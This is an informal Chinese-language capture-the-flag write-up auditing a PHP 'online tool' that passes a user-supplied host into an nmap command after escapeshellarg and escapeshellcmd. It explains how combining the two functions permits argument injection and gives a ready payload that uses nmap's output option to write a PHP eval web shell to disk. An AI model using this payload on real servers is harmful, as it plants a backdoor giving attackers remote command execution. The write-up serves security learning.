代码审计,就嗯审,前面是个获取ip的操作
再着就是get获取host的值
有意思的函数来了
第一次接触这两个函数8太懂,先往下看,会建一个目录,我的第一想法就是上马拿shell
往后的systeam里面是namp命令-----------确实如题中所说 online tool
-F 会拼接上我们传的host参数
先看一下那两个关键的函数吧
搜了一下发现漏洞还真的挺多的
https://www.codercto.com/a/46354.html一篇文章,总觉得很好----这张图片截自这篇文章
这两个函数都只可以执行一个命令,但是escapeshellcmd可以接受多个参数
考虑传参进去之后利用namp实现getshell
namp里存在一个 参数 -oN 可以进行写入文件 配合 -F
有escapeshellcmd可以接受多个参数
于是思路就是传一个马,然后写到一个文件里,前面
也会给出目录的路径
在构造的时候还需要考虑 escapeshellcmd 会进行转义 <? ?> 没办法写马。。。要进行绕过
也找到了一篇文章https://paper.seebug.org/164/ PHPMailer 小于 5.2.18
这个洞还真是弄巧成拙
本来escapeshellarg是想 防止参数注入,对参数进行转义,最后escapeshellcmd结了个胡
payload构造:
?host=' <?php @eval($_POST["cmd"]);?> -oG 1.php '
本地调试----- 算了 没下5.2.18 调试先放着..................
在7的版本 escapeshellcmd 转义的方法改变